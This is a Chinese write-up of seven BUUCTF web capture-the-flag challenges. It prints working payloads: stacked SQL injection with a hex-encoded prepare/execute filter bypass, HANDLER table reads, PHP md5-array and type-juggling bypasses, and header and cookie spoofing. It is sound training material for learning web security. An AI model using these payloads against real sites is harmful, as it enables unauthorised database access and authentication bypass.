BUUCTF WEB
0X01,[强网杯 2019]随便注
输入3时报错了,说明只有两个字符,接下来进行经典的查询环节
爆库:1';show databases;
爆表:1';show tables;
出来了两个数据库,一个一个查看
查询第一个数据库
1';show columns from words;
并没有出现和flag相关的东西,接下来查询第二个数据库
1';show columns from ‘1919810931114514’;
查询结果出来了flag字符,对这个flag,没有办法查看,只能借助别人的wp了,对大佬膜拜!
因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码
再通过构造payload得
1;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
得到了flag;
0x02,[MRCTF2020]Ez_bypass
F12查看源代码
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }Please input first
代码审计之后,发现有一个要求:md5($id) === md5($gg) && $id !== $gg
利用数组绕过:a[]=a&b[]=b,最后可能会报错,如果是两个控制相等,则会判断为true
所以payload:/?id[]=a&gg[]=b
然后进行一次post传参
if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); }
其中is_numeric()函数是检测变量是否为数字或数字字符串,根据这里的提示要求passwd不是数字或数字字符串时,弱等于判断passwd是否等于1234567
所以payload:passwd=1234567a(这里是进行的一次post传参)
得到了flag
0x03,[GYCTF2020]Blacklist
这个题和第一道那个随便注类似,都是sql注入类型,但是这个题的过滤比它更严重重复第一道题的步骤
1';show databases;#
1';show tables;#
1';show columns from FlagHere;#
查看相关wp学到了一个新知识:HANDLER OPEN
语句打开一个表,使其可以使用后续HANDLER READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER CLOSE
或会话终止之前不会关闭
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
0x04,[ACTF2020 新生赛]BackupFile
利用dirsearch进行扫描,扫描得到了一个目录
访问index.pgp.bak,得到了一个文件,打开后是一串代码,进行审计
<?php include_once "flag.php"; if(isset($_GET['key'])) { $key = $_GET['key']; if(!is_numeric($key)) { exit("Just num!"); } $key = intval($key); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; if($key == $str) { echo $flag; } } else { echo "Try to find out source file!"; }
要求key变量通过get传参,且变量必须是数字,数字取整后还得为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
所以payload:?key=123
得到flag
0x05,[极客大挑战]http
打开题目链接,得到一个页面
首先查看源码,在源码里发现了Secret.php,前往查看
要求我们是从'https://sycsecret.buuoj.cn'这个网站过去的,打开bp抓包,添加referer头
添加之后,提示我们要从Syclover这个浏览器内打开,继续抓包修改UA值
之后他又提示我们从本地查看,使用X-Forwarded-For来伪造本地地址
得到了flag
0X06,Begin of HTTP
打开题目链接
要求我们用get方式对ctf值传入任意值
打开bp抓包进行修改
又要求我们对secret赋值而且还是POST传参,而且赋的值还得是他指定的,在右下有一串base64加密的字符串,对其进行解码后,得到了一个值,猜测是他指定的那个值
根据提示,修改cookie值,将hacker修改为ctfer
提示我们用NewStarCTF2023浏览器,修改UA头
修改完之后又说从newstarctf.com 这个网址访问的,添加referer头
又提示只有本地用户才能通过。用XFF伪造IP地址
添加XFF后,发现没有回应,尝试其他伪造ip的方式,发现当X-Real-ip时有回应,并出现了flag
得到了flag
0X07,[NewStarCTF 公开赛赛道]HTTP
提示我们用GET传参的方式对name赋值,因此对name赋值为admin
又提示我们对key赋值,而且赋值为他给定的值,在源码里发现了key值
打开bp抓包修改
提示我们不是admin用户,对此将cookie值后的guest修改为admin
修改后,给出了flag